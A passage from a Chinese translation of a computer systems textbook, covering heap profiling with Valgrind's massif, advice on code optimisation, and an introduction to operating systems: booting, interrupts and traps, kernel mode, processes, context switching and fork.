Valgrind 的`massif`工具可以帮助你分析内存使用情况。与本书中我们介绍的其他 Valgrind 工具(请参见第 168 页的“使用 Valgrind 调试内存”、第 575 页的“缓存分析与 Valgrind”以及第 600 页的“使用 Callgrind 进行性能分析”)类似,`massif`作为程序可执行文件的包装器运行。具体而言,`massif`会在程序运行过程中拍摄程序内存使用情况的快照,并分析内存使用的波动。程序员可能会发现`massif`工具对于跟踪程序如何使用堆内存,以及识别改善内存使用的机会非常有用。让我们在`matrixVector3`可执行文件上运行`massif`工具:
$ valgrind --tool=massif ./matrixVector3 10000 10000
7030 Massif, a heap profiler
7030 Copyright (C) 2003-2015, and GNU GPL'd, by Nicholas Nethercote
7030 Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
7030 Command: ./matrixVector3 10000 10000
7030
Time to allocate matrices: 0.049511
Time to fill matrices: 4.31627
Time to allocate vector: 0.001015
Time to matrix-vector multiply: 0.62672
7030
运行`massif`后会生成一个`massif.out.xxxx`文件,其中`xxxx`是唯一的 ID 编号。如果你正在跟随输入,可以输入 ls 命令查看对应的 massif 文件。在以下示例中,相关文件为`massif.out.7030`。使用 ms_print 命令查看`massif`输出:
$ ms_print massif.out.7030
Command: ./matrixVector3 10000 10000
Massif arguments: (none)
ms_print arguments: massif.out.7030
MB
763.3^ ::::::::::::::::::::::#
|::::::::::::::::::::::::::::::::::::::::::::::::: #
|: : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
|@ : #
0 +-------------------------------------------------------------------->Gi
0 9.778
Number of snapshots: 80
Detailed snapshots: [3, 12, 17, 22, 49, 59, 69, 79 (peak)]
输出的顶部是内存使用图。*x* 轴表示执行的指令数量,*y* 轴表示内存使用量。上面的图表表明,在我们运行 `matrixVector3` 时,总共执行了 97.78 亿 (Gi) 条指令。在执行过程中,`massif` 总共拍摄了 80 张快照来衡量堆内存的使用情况。内存使用在最后一张快照(79)时达到了峰值。程序的峰值内存使用为 763.3 MB,并且在整个程序执行过程中保持相对稳定。
所有快照的摘要会出现在图表之后。例如,以下表格对应的是第 79 张快照前后的数据:
····
n time(i) total(B) useful-heap(B) extra-heap(B) stacks(B)
70 1,081,926 727,225,400 727,080,000 145,400 0
71 1,095,494 737,467,448 737,320,000 147,448 0
72 1,109,062 747,709,496 747,560,000 149,496 0
73 1,122,630 757,951,544 757,800,000 151,544 0
74 1,136,198 768,193,592 768,040,000 153,592 0
75 1,149,766 778,435,640 778,280,000 155,640 0
76 1,163,334 788,677,688 788,520,000 157,688 0
77 1,176,902 798,919,736 798,760,000 159,736 0
78 7,198,260,935 800,361,056 800,201,024 160,032 0
79 10,499,078,349 800,361,056 800,201,024 160,032 0
99.98% (800,201,024B) (heap allocations) malloc/new/new[], --alloc-fns, etc.
->99.96% (800,040,000B) 0x40089D: allocateArray (in matrixVector3)
每一行对应一个特定的快照,包括快照的时间点、此时的总堆内存消耗(以字节为单位)、程序请求的字节数("useful-heap")、程序请求字节数的超额分配部分,以及堆栈的大小。默认情况下,堆栈分析是关闭的(这会显著减慢 `massif` 的速度)。要启用堆栈分析,可以在运行 `massif` 时使用 `--stacks=yes` 选项。
`massif` 工具显示,99.96% 的程序堆内存使用发生在 `allocateArray` 函数中,总共分配了 8 亿字节内存,这与我们之前做的粗略计算一致。读者可能会发现 `massif` 是一个有用的工具,可以帮助识别程序中堆内存使用高的地方,而这些地方通常会导致程序变慢。例如,*内存泄漏* 在程序中可能会发生,当程序员频繁调用 `malloc` 而没有在首次正确的机会调用 `free` 时。`massif` 工具对于检测此类内存泄漏非常有用。
### 12.4 关键要点与总结
我们短暂的(也许是令人沮丧的)代码优化之旅应该向读者传达一个非常重要的信息:如果你打算手动优化代码,请仔细考虑什么值得花时间去做,什么应该留给编译器去处理。接下来是一些在提升代码性能时需要考虑的重要建议。
#### 选择良好的数据结构和算法
使用合适的算法和数据结构是无法替代的;不这样做通常是代码性能差的主要原因。例如,著名的埃拉托斯特尼筛法(Sieve of Eratosthenes)算法比我们在 `optExample` 中的自定义算法生成素数的效率要高得多,且显著提高了性能。以下列出了使用筛法实现生成 2 到 500 万之间所有素数所需的时间:
$ gcc -o genPrimes genPrimes.c
$ ./genPrimes 5000000
Found 348513 primes (0.122245 s)
筛选算法只需 0.12 秒即可找出 2 到 500 万之间的所有质数,而 `optExample2` 在开启 `-O3` 优化标志时,生成相同的质数集需要 1.46 秒(提高了 12 倍)。筛选算法的实现留作读者练习;然而,应该清楚的是,提前选择更好的算法可以节省数小时的繁琐优化工作。我们的示例展示了为什么了解数据结构和算法对计算机科学家来说至关重要。
#### 尽可能使用标准库函数
不要重复造轮子。如果在编程过程中,你需要一个应该做某件非常标准化的事情的函数(例如,求绝对值,或者求一组数字的最大值或最小值),停下来检查一下,看看该函数是否已经作为更高层语言的标准库的一部分存在。标准库中的函数经过充分测试,通常经过性能优化。例如,如果读者手动实现了自己的 `sqrt` 函数,编译器可能不知道自动用 `fsqrt` 指令替换该函数调用。
#### 基于数据进行优化,而非凭感觉
如果在选择了最佳数据结构和算法 *并且* 使用了标准库函数后,仍然需要进一步提高性能,请借助像 Valgrind 这样的优秀代码分析工具。优化*绝不*应该基于直觉。过于关注自己“感觉”应该优化的部分(而没有数据支持这一想法)通常会导致时间浪费。
#### 将复杂的代码拆分为多个函数
手动内联代码通常不会比现代编译器能实现的性能提升更大。相反,应该让编译器更容易地帮助你进行优化。编译器更容易优化较短的代码段。将复杂操作拆分为多个函数,不仅提高了代码的可读性,还让编译器更容易进行优化。检查一下你的编译器是否默认尝试内联,或者是否有独立的标志来尝试内联代码。让编译器来执行内联操作通常比手动内联更好。
#### 优先考虑代码可读性
在当今许多应用程序中,可读性至关重要。事实上,代码被阅读的次数远远超过被编写的次数。许多公司花费大量时间培训他们的软件工程师,以特定的方式编写代码,以最大化可读性。如果优化代码导致可读性显著降低,请检查所获得的性能改进是否值得。例如,许多编译器今天都有启用循环展开的优化标志。程序员应始终使用可用的循环展开优化标志,而不是尝试手动展开循环,这可能会显著降低代码的可读性。降低代码的可读性通常会增加无意中引入代码中的错误的可能性,这可能导致安全漏洞。
#### 注意内存使用
程序的内存使用对程序的执行时间影响更大,而不是它执行的指令数量。循环置换示例就是一个例子。在两种情况下,循环执行相同数量的指令。然而,循环的顺序对内存访问和局部性有显著影响。在尝试优化程序时,还要探索像`massif`和`cachegrind`这样的内存分析工具。
#### 编译器不断改进
编译器编写者持续更新编译器,以安全地执行更复杂的优化。例如,GCC 从 4.0 版本开始切换到静态单赋值(SSA)形式^(11),显著改进了部分优化效果。GCC 代码库的`GRAPHITE`分支实现了多面体模型^(12),使编译器能够执行更复杂的循环转换类型。随着编译器变得更加复杂,手动优化的好处显著减少。
### 注意事项
1. *[`gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html`](https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html)*
2. John Regehr,“C 和 C++中未定义行为指南,第一部分”,*[`blog.regehr.org/archives/213`](https://blog.regehr.org/archives/213)*,2010 年。
3. C FAQ,“comp.lang.c FAQ list: Question 11.33”,*[`c-faq.com/ansi/undef.html`](http://c-faq.com/ansi/undef.html)*
4. John Regehr,“C 和 C++中未定义行为指南,第一部分”,*[`blog.regehr.org/archives/213`](https://blog.regehr.org/archives/213)*,2010 年。
5. 源代码可在*[`diveintosystems.org/book/C12-CodeOpt/_attachments/optExample.c`](https://diveintosystems.org/book/C12-CodeOpt/_attachments/optExample.c)*找到
6. *[`valgrind.org/`](http://valgrind.org/)*
7. *[`diveintosystems.org/book/C12-CodeOpt/_attachments/optExample2.c`](https://diveintosystems.org/book/C12-CodeOpt/_attachments/optExample2.c)*
8. *[`diveintosystems.org/book/C12-CodeOpt/_attachments/optExample3.c`](https://diveintosystems.org/book/C12-CodeOpt/_attachments/optExample3.c)*
9. *[`diveintosystems.org/book/C12-CodeOpt/_attachments/optExample3.c`](https://diveintosystems.org/book/C12-CodeOpt/_attachments/optExample3.c)*
10. *[`diveintosystems.org/book/C12-CodeOpt/_attachments/matrixVector.c`](https://diveintosystems.org/book/C12-CodeOpt/_attachments/matrixVector.c)*
11. *[`gcc.gnu.org/onlinedocs/gccint/SSA.html`](https://gcc.gnu.org/onlinedocs/gccint/SSA.html)*
12. *[`polyhedral.info/`](https://polyhedral.info/)*
# 第十四章:操作系统

*操作系统*(OS)是一个特殊的系统软件层,位于计算机硬件和运行在计算机上的应用程序之间(见图 13-1)。操作系统软件在计算机上是持久存在的,从开机到关机。它的主要目的是*管理*底层硬件组件,以高效运行程序工作负载,并使计算机*易于使用*。

*图 13-1:操作系统是位于用户和硬件之间的特殊系统软件。它管理计算机硬件,并实现抽象以使硬件更易于使用。*
操作系统使计算机硬件易于使用的方式之一,是它对启动程序进行支持。当用户双击图标或在命令行提示符下输入程序可执行文件的名称(例如`./a.out`)来启动程序时,操作系统会处理所有这些操作的细节,例如从磁盘加载程序到内存,并初始化 CPU 开始执行程序指令;操作系统将这些必要的低级操作隐藏起来,用户不需要了解如何在计算机上运行程序。
操作系统通过实现*多程序设计*来有效利用系统资源,这意味着允许多于一个的程序同时在计算机上运行。多程序设计并不一定意味着所有程序都在计算机硬件上同时运行。事实上,系统中运行的程序集通常比 CPU 核心数要多。相反,它意味着操作系统在多个程序之间共享硬件资源,包括 CPU。例如,当一个程序需要从磁盘读取数据时,操作系统可以让另一个程序使用 CPU,同时第一个程序等待数据变得可用。如果没有多程序设计,当程序访问较慢的硬件设备时,CPU 会闲置。为了支持多程序设计,操作系统需要实现一个关于运行程序的抽象,称为*进程*。进程抽象使操作系统能够管理系统中任意时刻正在运行的多个程序。
一些示例操作系统包括微软的 Windows、苹果的 macOS 和 iOS、甲骨文的 Solaris,以及开源的 Unix 变种,如 OpenBSD 和 Linux。本书使用 Linux 作为示例。然而,所有这些通用操作系统都实现了类似的功能,尽管有时方式不同。
##### 内核
“操作系统”这一术语通常用于指代一组大型的系统级软件,这些软件执行某种形式的资源管理,并实现底层系统的“易于使用”的抽象。在本章中,我们将重点讨论操作系统的*内核*;因此,当我们单独提到操作系统(OS)时,我们指的是操作系统内核。
操系统内核实现了核心操作系统功能——任何使用系统所必需的功能。这些功能包括管理计算机硬件层以运行程序,实施并管理操作系统提供给用户的抽象(例如,文件是基于存储数据之上的操作系统抽象),以及实现与用户应用层和硬件设备层的接口。内核实现了*机制*,以便使硬件能够运行程序,并实现诸如进程等抽象。机制是操作系统功能中的“如何”部分。内核还实现了*策略*,用于高效管理计算机硬件以及管理其抽象。策略决定了操作系统功能中的“什么”、“何时”和“向谁”部分。例如,机制实现了初始化 CPU 以运行来自特定进程的指令,而策略决定了下一个哪个进程将在 CPU 上运行。
内核为系统用户提供编程接口:*系统调用接口*。用户和程序通过系统调用接口与操作系统进行交互。例如,如果一个程序想要获取当前时间,它可以通过调用 `gettimeofday` 系统调用从操作系统获取该信息。
内核还提供了与硬件设备交互的接口(*设备接口*)。通常,硬盘驱动器(HDD)、键盘和固态硬盘(SSD)等 I/O 设备通过此接口与内核交互。这些设备配有在操作系统中运行的特殊设备驱动程序软件,负责将数据传输到特定设备或从设备传输数据。设备驱动程序软件通过操作系统的设备接口与操作系统交互;通过加载符合操作系统设备接口要求的设备驱动程序代码,可以将新设备添加到计算机系统中。内核直接管理其他硬件设备,如 CPU 和 RAM。图 13-2 展示了操作系统内核层在用户应用和计算机硬件之间的位置,包括其面向用户的编程接口和硬件设备接口。

*图 13-2:操作系统内核:使用系统并促进 I/O 设备与系统用户之间协作所必需的核心操作系统功能*
在本章的其余部分,我们将探讨操作系统在运行程序和高效管理系统资源方面的作用。我们的讨论主要集中在操作系统功能的机制(“如何”)以及两个主要操作系统抽象的实现:*进程*(正在运行的程序)和*虚拟内存*(从底层物理存储器或二级存储器中抽象出来的进程内存空间视图)。
### 13.1 操作系统的工作原理及其运行方式
操作系统的部分工作是支持在系统上运行的程序。为了启动计算机上的程序,操作系统会为运行中的程序分配一部分 RAM,将程序的二进制可执行文件从磁盘加载到 RAM 中,创建并初始化与该运行程序相关的操作系统进程状态,并初始化 CPU 以开始执行进程的指令(例如,操作系统需要初始化 CPU 寄存器以获取并执行进程的指令)。图 13-3 展示了这些步骤。

*图 13-3:操作系统启动新程序在底层硬件上运行的步骤*
与用户程序一样,操作系统也是在计算机硬件上运行的软件。然而,操作系统是特别的系统软件,负责管理所有系统资源,并实现计算机系统用户的接口;它是使用计算机系统所必需的。因为操作系统是软件,它的二进制可执行代码就像其他程序一样在硬件上运行:它的数据和指令存储在 RAM 中,并且其指令像用户程序的指令一样由 CPU 获取并执行。因此,为了让操作系统运行,其二进制可执行文件需要加载到 RAM 中,并且 CPU 需要初始化以开始运行操作系统代码。然而,由于操作系统负责在硬件上运行代码,它需要一些帮助才能开始运行。
#### 13.1.1 操作系统启动
操作系统在计算机上加载并初始化自身的过程被称为*引导*——操作系统“自力更生”或*自启动*。操作系统在最初加载到计算机并开始运行其引导代码时需要一点帮助。为了启动操作系统代码的运行,存储在计算机固件中的代码(硬件中的非易失性内存)会在计算机首次通电时运行;*BIOS*(基本输入/输出系统)和*UEFI*(统一可扩展固件接口)就是这种类型的固件的两个例子。在开机时,BIOS 或 UEFI 会运行并进行足够的硬件初始化,以便将操作系统的第一部分(引导块)从磁盘加载到 RAM 中,并开始在 CPU 上执行引导块指令。一旦操作系统开始运行,它会从磁盘加载其余部分,发现并初始化硬件资源,并初始化其数据结构和抽象,以便使系统准备好供用户使用。
#### 13.1.2 让操作系统做点什么:中断与陷阱
在操作系统完成引导并初始化系统以供使用后,它将等待任务的到来。大多数操作系统被实现为*中断驱动系统*,这意味着操作系统在某个实体需要它做某件事之前不会运行——操作系统在某个请求到来时会被唤醒(从睡眠中被中断)。
硬件层的设备可能需要操作系统为它们做某些事情。例如,*网络接口卡*(NIC)是计算机与网络之间的硬件接口。当 NIC 通过其网络连接接收到数据时,它会中断(或唤醒)操作系统来处理接收到的数据(见图 13-4)。例如,操作系统可能会判断 NIC 接收到的数据是网页的一部分,且该网页是由网页浏览器请求的;然后,它将数据从 NIC 传递给等待中的网页浏览器进程。
当用户应用程序需要访问受保护的资源时,也会向操作系统发出请求。例如,当一个应用程序想要写入文件时,它会向操作系统发出一个*系统调用*,操作系统会唤醒并代表应用程序执行写入操作(见图 13-4)。操作系统通过将数据写入磁盘上的文件来处理该系统调用。

*图 13-4:在一个中断驱动系统中,用户级程序发出系统调用,硬件设备发出中断来启动操作系统的动作。*
来自硬件层的中断,例如网络接口卡(NIC)接收到网络数据,通常被称为硬件中断,或简称为*中断*。来自软件层的中断,通常是由于指令执行导致的,例如当应用程序发出系统调用时,通常被称为*陷阱*。也就是说,系统调用“陷阱进入操作系统”,操作系统代表用户级程序处理请求。来自任一层的异常也可能会中断操作系统。例如,如果硬盘驱动器因磁盘块损坏而读取失败,它可能会中断操作系统;如果应用程序执行除法指令并除以零,它也可能触发陷阱到操作系统。
系统调用是通过特殊的陷阱指令实现的,这些指令作为 CPU 指令集架构(ISA)的一部分被定义。操作系统将每个系统调用与一个独特的标识号关联。当应用程序想要调用一个系统调用时,它会将所需调用的编号放在一个已知位置(该位置根据 ISA 的不同而不同),并发出陷阱指令来中断操作系统。陷阱指令触发 CPU 停止执行应用程序中的指令,转而开始执行处理该陷阱的操作系统指令(运行操作系统的陷阱处理程序代码)。陷阱处理程序读取用户提供的系统调用编号并执行相应的系统调用实现。
下面是一个`write`系统调用在 IA32 Linux 系统中的示例:
/* C code */
ret = write(fd, buff, size);
IA32 translation
write:
... # set up state and parameters for OS to perform write
movl $4, %eax # load 4 (unique ID for write) into register eax
int $0x80 # trap instruction: interrupt the CPU and transition to the OS
addl $8, %ebx # an example instruction after the trap instruction
第一条指令(`movl $4, %eax`)将 `write` 系统调用的编号(4)放入寄存器 `eax`。第二条指令(`int $0x80`)触发陷阱。当操作系统陷阱处理程序运行时,它使用寄存器 `eax` 中的值(4)来确定调用了哪个系统调用,并运行相应的陷阱处理代码(在这个例子中,运行的是 `write` 处理代码)。操作系统处理程序运行后,操作系统继续执行程序,恢复到陷阱指令后面的指令(在这个例子中是 `addl`)。
与系统调用不同,硬件中断是通过中断总线传递给 CPU 的。设备会将一个信号,通常是一个表示中断类型的数字,放置在 CPU 的中断总线上(见 图 13-5)。当 CPU 检测到中断总线上的信号时,它会停止执行当前进程的指令,并开始执行操作系统的中断处理程序。操作系统处理程序执行完毕后,操作系统继续执行该进程,在中断发生时正在执行的应用指令处恢复。

*图 13-5:硬件设备(磁盘)通过中断总线向 CPU 发送信号,代表其触发操作系统执行。*
如果用户程序在 CPU 上运行时发生中断(或陷阱),CPU 会运行操作系统的中断(或陷阱)处理程序。当操作系统处理完中断后,它会恢复并从中断发生时的地方继续执行被中断的用户程序。
由于操作系统是软件,并且它的代码像用户程序代码一样被加载到 RAM 中并在 CPU 上运行,因此操作系统必须保护其代码和状态,避免被系统中运行的常规进程所访问。CPU 通过定义两种执行模式来提供帮助。
1\. 在*用户模式*下,CPU 仅执行用户级指令,并且只能访问操作系统为其提供的内存位置。操作系统通常会阻止用户模式下的 CPU 访问操作系统的指令和数据。用户模式还限制了 CPU 可以直接访问的硬件组件。在*内核模式*下,CPU 可以执行任何指令并访问任何内存位置(包括存储操作系统指令和数据的内存位置)。它还可以直接访问硬件组件并执行特殊指令。
当操作系统代码在 CPU 上运行时,系统处于内核模式;而当用户级程序在 CPU 上运行时,系统则处于用户模式。如果 CPU 处于用户模式并接收到中断,CPU 会切换到内核模式,获取中断处理程序,并开始执行操作系统的处理代码。在内核模式下,操作系统可以访问用户模式下无法访问的硬件和内存位置。当操作系统处理完中断后,它会恢复 CPU 状态,以在程序被中断时的地方继续执行用户级代码,并将 CPU 重新切换回用户模式(见 图 13-6)。

*图 13-6:CPU 和中断。CPU 上运行的用户代码被中断(在时间线的 X 时刻),然后操作系统中断处理程序代码运行。操作系统处理完中断后,用户代码执行继续(在时间线的 Y 时刻)。*
在一个中断驱动的系统中,中断可以在任何时候发生,这意味着操作系统可以在任何机器周期内从运行用户代码切换到中断处理程序代码。有效支持从用户模式到内核模式的执行上下文切换的一种方式是允许内核在系统中每个进程的执行上下文中运行。在启动时,操作系统将其代码加载到内存中的固定位置,并将其映射到每个进程地址空间的顶部(见图 13-7),并初始化一个 CPU 寄存器,指向操作系统处理程序函数的起始地址。发生中断时,CPU 切换到内核模式,执行操作系统中断处理程序代码,该代码可在每个进程地址空间顶部的地址中访问。因为每个进程将操作系统映射到地址空间顶部的相同位置,所以操作系统中断处理程序代码能够在任何进程的执行上下文中快速执行,当中断发生时,CPU 上运行的进程都可以迅速响应。此操作系统代码仅能在内核模式下访问,从而保护操作系统免受用户模式访问;在常规执行期间,进程在用户模式下运行,无法读取或写入映射到其地址空间顶部的操作系统地址。

*图 13-7:进程地址空间:操作系统内核映射到每个进程地址空间的顶部。*
尽管将操作系统代码映射到每个进程的地址空间中会导致在中断时内核代码执行迅速,但许多现代处理器具有暴露内核保护漏洞的功能,当操作系统像这样被映射到每个进程时。自 2018 年 1 月宣布 Meltdown 硬件漏洞以来,^(1) 操作系统正在以保护免受此漏洞的方式将内核内存和用户级程序内存分开,但这也导致了切换到内核模式处理中断的效率降低。
### 13.2 进程
操作系统实现的主要抽象之一是*进程*。进程表示系统中运行的程序实例,其中包括程序的二进制可执行代码、数据和执行*上下文*。上下文通过维护程序的寄存器值、栈位置和当前正在执行的指令来跟踪程序的执行。
进程是*多道程序*系统中的必要抽象,它支持系统中多个进程同时存在。操作系统使用进程抽象来跟踪系统中运行的程序实例,并管理它们对系统资源的使用。
操作系统为每个进程提供一个“独占视图”的系统抽象。也就是说,操作系统将进程互相隔离,并给予每个进程控制整台机器的错觉。实际上,操作系统支持多个活跃进程,并管理它们之间的资源共享。操作系统隐藏了共享和访问系统资源的细节,并且保护进程不受其他进程在系统中运行时的影响。
例如,用户可以同时在计算机系统上运行两个 Unix shell 程序实例,以及一个网页浏览器。操作系统为这三个正在运行的程序创建了三个进程:每个独立的 Unix shell 程序实例对应一个进程,网页浏览器对应一个进程。操作系统负责在这三个进程之间切换,确保当某个进程在 CPU 上运行时,只有该进程的执行状态和分配给它的系统资源可以被访问。
#### 13.2.1 多道程序设计与上下文切换
多道程序设计使操作系统能够高效利用硬件资源。例如,当一个运行在 CPU 上的进程需要访问当前在磁盘上的数据时,操作系统可以让 CPU 执行另一个进程,而不是让 CPU 空闲等待数据被读取到内存中。同时,原进程的读取操作由磁盘处理。通过使用多道程序设计,操作系统可以通过在执行其他进程时保持 CPU 繁忙,减轻内存层次结构对程序负载的一些影响,而其他进程则在等待访问内存层次结构中较低层的数据。
通用操作系统通常实现*时间共享*,即多道程序设计,其中操作系统安排每个进程轮流在 CPU 上执行一段短时间(称为*时间片*或*量子*)。当一个进程完成它在 CPU 上的时间片后,操作系统将该进程移出 CPU,并让另一个进程运行。大多数系统将时间片定义为几毫秒(10^(-3)秒),对于 CPU 周期来说,这个时间相对较长,但对人类来说却几乎是不可察觉的。
时间共享系统进一步支持用户对计算机系统的“独占视图”;由于每个进程通常在 CPU 上执行短时间的突发任务,它们都共享 CPU 的事实通常对用户来说是无法察觉的。只有当系统负载非常重时,用户才可能注意到系统中其他进程的影响。Unix 命令 `ps -A` 列出了系统中所有正在运行的进程——你可能会对进程数量感到惊讶。`top` 命令也非常有用,它通过显示当前使用最多系统资源(如 CPU 时间和内存空间)的进程集合,帮助查看系统的运行状态。
在多道程序设计和时间共享系统中,进程是*并发*运行的,这意味着它们的执行在时间上重叠。例如,操作系统可能会首先在 CPU 上运行进程 A,然后切换到运行进程 B 一段时间,之后再切换回运行进程 A。 在这种情况下,进程 A 和 B 是并发运行的,因为它们在 CPU 上的执行是重叠的,这是由于操作系统在两者之间切换造成的。
##### 13.2.1.1 上下文切换
多道程序设计背后的*机制*决定了操作系统如何将一个在 CPU 上运行的进程与另一个进程交换。多道程序设计的*策略*方面则决定了 CPU 调度,即从一组候选进程中选择哪个进程下一步使用 CPU 以及使用多长时间。我们主要关注多道程序设计的实现机制。操作系统教材会更详细地讨论调度策略。
操作系统执行*上下文切换*,即在 CPU 上交换进程状态,这是多道程序设计(和时间共享)背后的主要机制。进行 CPU 上下文切换的过程有两个主要步骤:
1\. 操作系统会保存当前在 CPU 上运行的进程的上下文,包括它的所有寄存器值(程序计数器、栈指针、通用寄存器、条件码等)、内存状态以及一些其他状态(例如,它使用的系统资源的状态,如打开的文件)。
2\. 操作系统从 CPU 上另一个进程恢复已保存的上下文,并开始让 CPU 运行该进程,继续从它上次中断的指令处执行。
上下文切换的一个部分可能看起来难以实现,那就是实现上下文切换的操作系统代码必须在 CPU 上运行,同时保存(恢复)一个进程的执行上下文(从 CPU 上保存到 CPU 上恢复);上下文切换代码的指令需要使用 CPU 硬件寄存器来执行,但是正在被上下文切换下线的进程的寄存器值需要被上下文切换代码保存。计算机硬件为实现这一点提供了一些帮助。
在启动时,操作系统初始化硬件,包括初始化 CPU 状态,这样当 CPU 因中断切换到内核模式时,操作系统的中断处理程序代码开始执行,而被中断进程的执行状态也得到保护,避免受此执行的影响。计算机硬件和操作系统共同执行一些初步的用户级执行上下文保存工作,足够使操作系统代码能够在 CPU 上运行而不会丢失被中断进程的执行状态。例如,需要保存被中断进程的寄存器值,以便当该进程再次在 CPU 上运行时,可以从中断时的状态继续执行,使用它的寄存器值。根据硬件支持,保存用户级进程的寄存器值可能完全由硬件完成,或者几乎完全由软件完成,作为内核中断处理代码的第一部分。至少需要保存进程的程序计数器(PC)值,以防当内核中断处理程序地址被加载到 PC 时,该值丢失。
操作系统开始运行后,执行其完整的进程上下文切换代码,保存正在 CPU 上运行的进程的完整执行状态,并将另一个进程的已保存执行状态恢复到 CPU 上。由于操作系统在内核模式下运行,它能够访问计算机内存的任何部分,并且可以执行特权指令,访问任何硬件寄存器。因此,它的上下文切换代码能够访问并保存任何进程的 CPU 执行状态到内存,并能从内存中恢复任何进程的执行状态到 CPU。操作系统的上下文切换代码通过设置 CPU 以执行恢复的进程执行状态,并将 CPU 切换到用户模式来完成。切换到用户模式后,CPU 执行指令,并使用操作系统上下文切换到 CPU 上的进程的执行状态。
#### 13.2.2 进程状态
在多任务系统中,操作系统必须跟踪和管理系统中在任何给定时刻存在的多个进程。操作系统维护关于每个进程的信息,包括:
+ 一个*进程 ID*(PID),它是进程的唯一标识符。`ps`命令列出系统中进程的信息,包括它们的 PID 值。
+ 进程的地址空间信息。
+ 进程的执行状态(例如,CPU 寄存器值、堆栈位置)。
+ 分配给进程的资源集(例如,打开的文件)。
+ 当前的*进程状态*,这是一个决定进程是否有资格在 CPU 上执行的值。
在其生命周期中,进程会经历多个状态,这些状态对应着不同类别的进程执行资格。操作系统使用进程状态的一个方式是识别哪些进程是可以调度到 CPU 上的候选进程。
进程执行状态集:
+ *就绪(Ready)*:进程可以在 CPU 上运行,但当前并未被调度(它是候选进程,准备上下文切换到 CPU)。当操作系统创建并初始化一个新进程时,它进入就绪状态(准备开始执行其第一条指令)。在分时系统中,如果进程因为时间片耗尽而被从 CPU 上上下文切换,它也会进入*就绪*状态(准备执行下一条指令,但由于时间片已用完,需要等待再次调度到 CPU)。
+ *运行(Running)*:进程已被调度到 CPU 上,正在积极执行指令。
+ *阻塞(Blocked)*:进程在等待某个事件发生,才能继续执行。例如,进程正在等待从磁盘读取某些数据。阻塞状态的进程不能被调度到 CPU 上执行。当进程等待的事件发生后,进程会转移到*就绪(Ready)*状态(它准备好再次执行)。
+ *退出(Exited)*:进程已经退出,但仍需从系统中完全移除。进程退出的原因可以是完成了程序指令的执行,或因为遇到错误(例如,尝试进行除以零的运算),或者是接收到来自其他进程的终止请求。退出的进程将永远不会再次运行,但它会留在系统中,直到与其执行状态相关的最终清理工作完成。
图 13-8 展示了进程在系统中的生命周期,说明了它如何在不同状态之间转换。注意状态之间的转换(箭头)。例如,进程可以通过三种方式进入就绪状态:第一,如果它是操作系统新创建的;第二,如果它因等待某个事件而处于阻塞状态且该事件发生;第三,如果它正在 CPU 上运行,且时间片已用完,操作系统将其从 CPU 上上下文切换出去,以便给另一个就绪进程轮流使用 CPU。

*图 13-8:进程生命周期中的状态*
进程运行时间(PROCESS RUNTIME)
程序员通常使用进程的完成时间作为衡量其性能的指标。对于非交互式程序,较快的运行时间通常意味着更好或更优化的实现。例如,在比较两个计算大数素因数的程序时,能够更快完成任务的程序更为优选。
有两种不同的度量方式来衡量一个进程的运行时间。第一种是总的*墙钟时间*(或墙时钟时间)。墙钟时间是进程开始和完成之间的持续时间;它是从进程开始到结束的经过时间,通常由挂在墙上的时钟测量。墙钟时间包括进程在运行状态下执行于 CPU 上的时间,也包括进程在阻塞状态下等待事件(如 I/O)的时间,以及进程在就绪状态下等待调度执行的时间。在多道程序和时间共享系统中,进程的墙钟时间可能由于其他进程同时运行并共享系统资源而变慢。
进程运行时间的第二种度量方式是总的*CPU 时间*(或进程时间)。CPU 时间仅衡量进程在运行状态下执行指令的时间。CPU 时间不包括进程在阻塞或就绪状态下的时间。因此,一个进程的总 CPU 时间不会受到系统中其他进程并发运行的影响。
#### 13.2.3 创建(和销毁)进程
当现有进程通过系统调用请求操作系统创建一个新进程时,操作系统会创建一个新进程。在 Unix 中,`fork`系统调用用于创建一个新进程。调用`fork`的进程是*父进程*,它创建的新进程是其*子进程*。例如,如果你在终端中运行`a.out`,shell 进程会调用`fork`系统调用,请求操作系统创建一个新的子进程来运行`a.out`程序。另一个例子是,网页浏览器进程调用`fork`来创建子进程,处理不同的浏览事件。当用户加载网页时,浏览器可能会创建一个子进程来与 web 服务器进行通信;它可能创建另一个进程来处理用户的鼠标输入,还可能创建其他进程来处理不同的浏览器窗口或标签。像这样的多进程浏览器能够通过一些子进程继续处理用户请求,同时其他一些子进程可能会被阻塞,等待远程 web 服务器的响应或用户的鼠标点击。
在系统中活动的进程之间存在一个*进程层级*的父子关系。例如,如果进程*A*调用两次`fork`,则会创建两个新的子进程,*B*和*C*。如果进程 C 再调用一次`fork`,则会创建另一个新进程,*D*。进程 C 是 A 的子进程,也是 D 的父进程。进程 B 和 C 是兄弟进程(它们共享一个父进程,进程 A)。进程 A 是 B、C 和 D 的祖先。这个示例如图 13-9 所示。

*图 13-9:一个由父进程(A)通过调用`fork`两次创建两个子进程(B 和 C)的示例进程层次结构。C 调用`fork`创建其子进程 D。在 Linux 系统上列出进程层次结构,运行`pstree`,或`ps -Aef --forest`。*
由于现有的进程触发进程的创建,因此系统至少需要一个进程来创建任何新的进程。在启动时,操作系统创建系统中的第一个用户级进程。这个特殊的进程,称为`init`,位于进程层次结构的最顶部,是系统中所有其他进程的祖先。
#### fork
`fork`系统调用用于创建进程。在`fork`时,子进程从父进程继承其执行状态。操作系统在父进程调用`fork`时创建调用(父)进程执行状态的*副本*。这个执行状态包括父进程的地址空间内容、CPU 寄存器值,以及它已分配的任何系统资源(例如,打开的文件)。操作系统还创建一个新的*进程控制结构*,这是一个用于管理子进程的操作系统数据结构,并为子进程分配一个唯一的 PID。操作系统创建并初始化新的进程后,子进程和父进程并发执行——它们都继续运行,并且随着操作系统在它们之间进行上下文切换,执行重叠。
当操作系统第一次调度子进程在 CPU 上运行时,它从父进程返回`fork`调用的位置开始执行。这是因为`fork`将父进程的执行状态的副本传递给子进程(子进程在开始执行时使用自己副本的状态)。从程序员的角度看,*对`fork`的调用返回两次*:一次是在运行父进程的上下文中,另一次是在运行子进程的上下文中。
为了区分程序中的子进程和父进程,`fork`调用会返回不同的值给父进程和子进程。子进程总是接收到 0 的返回值,而父进程接收到子进程的 PID 值(如果`fork`失败则返回-1)。
